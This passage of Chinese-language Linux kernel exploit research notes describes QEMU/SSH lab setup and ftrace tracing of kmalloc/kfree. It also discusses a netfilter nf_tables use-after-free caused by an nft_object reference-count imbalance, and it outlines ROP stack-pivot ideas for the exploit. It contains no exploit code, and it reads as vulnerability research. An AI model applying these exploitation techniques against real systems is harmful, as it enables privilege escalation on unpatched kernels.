$ sudo chmod 0600 ./stretch.id_rsa
$ ssh -i stretch.id_rsa -p 10021 -o "StrictHostKeyChecking no" root@localhost
$ ssh -p 10021 hi@localhost
# 问题: Host key verification failed.
# 删除ip对应的相关rsa信息即可登录 $ sudo nano ~/.ssh/known_hosts
# https://blog.csdn.net/ouyang_peng/article/details/83115290
ftrace调试 :注意,QEMU启动时需加上 no_hash_pointers 启动选项,否则打印出来的堆地址是hash之后的值。trace中只要用 %p 打印出来的数据都会被hash,所以可以修改 TP_printk() 处输出时的格式符,%p -> %lx。
bash
# host端, 需具备root权限
cd /sys/kernel/debug/tracing
echo 1 > events/kmem/kmalloc/enable
echo 1 > events/kmem/kmalloc_node/enable
echo 1 > events/kmem/kfree/enable
# ssh 连进去执行 exploit
cat /sys/kernel/debug/tracing/trace > /home/hi/trace.txt
# 下载 trace
scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
# 记录函数调用 (参考 https://blog.csdn.net/panhewu9919/article/details/103114321)
# (1) 挂载 debugfs
$ mount -t debugfs none /sys/kernel/debug
# (2) 配置 ftrace,以追踪sys_write为例
echo function_graph > /sys/kernel/debug/tracing/current_tracer
# echo sys_write > /sys/kernel/debug/tracing/set_graph_function # 指定追踪syscall
echo 1 > /sys/kernel/debug/tracing/tracing_on
# 执行write操作(比如运行echo命令)
echo 0 > /sys/kernel/debug/tracing/tracing_on
cat /sys/kernel/debug/tracing/trace > trace_output.txt
/sys/kernel/debug/tracing # echo 0 > /proc/sys/kernel/ftrace_enabled
/sys/kernel/debug/tracing # echo 0 > tracing_on
/sys/kernel/debug/tracing # echo function_graph > current_tracer
# /sys/kernel/debug/tracing # echo __do_fault > set_graph_function
/sys/kernel/debug/tracing # echo 1 > /proc/sys/kernel/ftrace_enabled
/sys/kernel/debug/tracing # echo 1 > tracing_on
/sys/kernel/debug/tracing # echo 0 > tracing_on
/sys/kernel/debug/tracing # cat /sys/kernel/debug/tracing/trace > /home/hi/trace_output.txt
3-1. exp说明
libnl ------ Netlink交互封装库,包含 nlmsg_alloc() / nlmsg_put() 等函数。
安装libnl:
bash
$ tar -xvf ./libnl-xx.tar.gz
$ ./configure --prefix=/usr && make
$ sudo make install
3-2. idea
ROP链的组装问题 :例如将$RSI指向的地址处的指针赋值给$RSP,作者原先是通过两次leave;ret将$RBP指向的地址处的指针赋值给$RSP。尝试了很多种方法,详见 代码分析.md。
poc触发漏洞 :本漏洞只会造成释放后引用nft_object->use--,如果不KASAN插桩的话,不会造成崩溃。这一点和CVE-2023-4004漏洞的Double-Free效果不同。在不源码插桩的情况下,需改进QEMU进行内存监控。
漏洞挖掘模式提取 :这里的问题是,对于nft_object->use引用计数的加和减不平衡,导致UAF。参加代码分析 9/11,CVE-2023-4569和错误处理路径上的新漏洞(可惜已经修复,触发poc可参见test.c,6.1.42未修复版本nft_add_set_elem(),调用的是nft_set_elem_destroy();对应6.1.43已修复版本nft_add_set_elem(),调用的是nf_tables_set_elem_destroy())可作为案例。
参考
Linux流量控制(Traffic Control)介绍 ------ 概念科普
Linux内核中网络数据的流量控制(TC: Traffic control 和 QDISC) ------ qdisc tree图示示例,TC命令示例
Linux内核中流量控制 ------ 源码分析,内核版本2.6.x
看图理解linux内核网络流量控制工具tc(Traffic Control) ------ 图示展示qdisc / filter / class / action 的关系;有示例tc命令的解释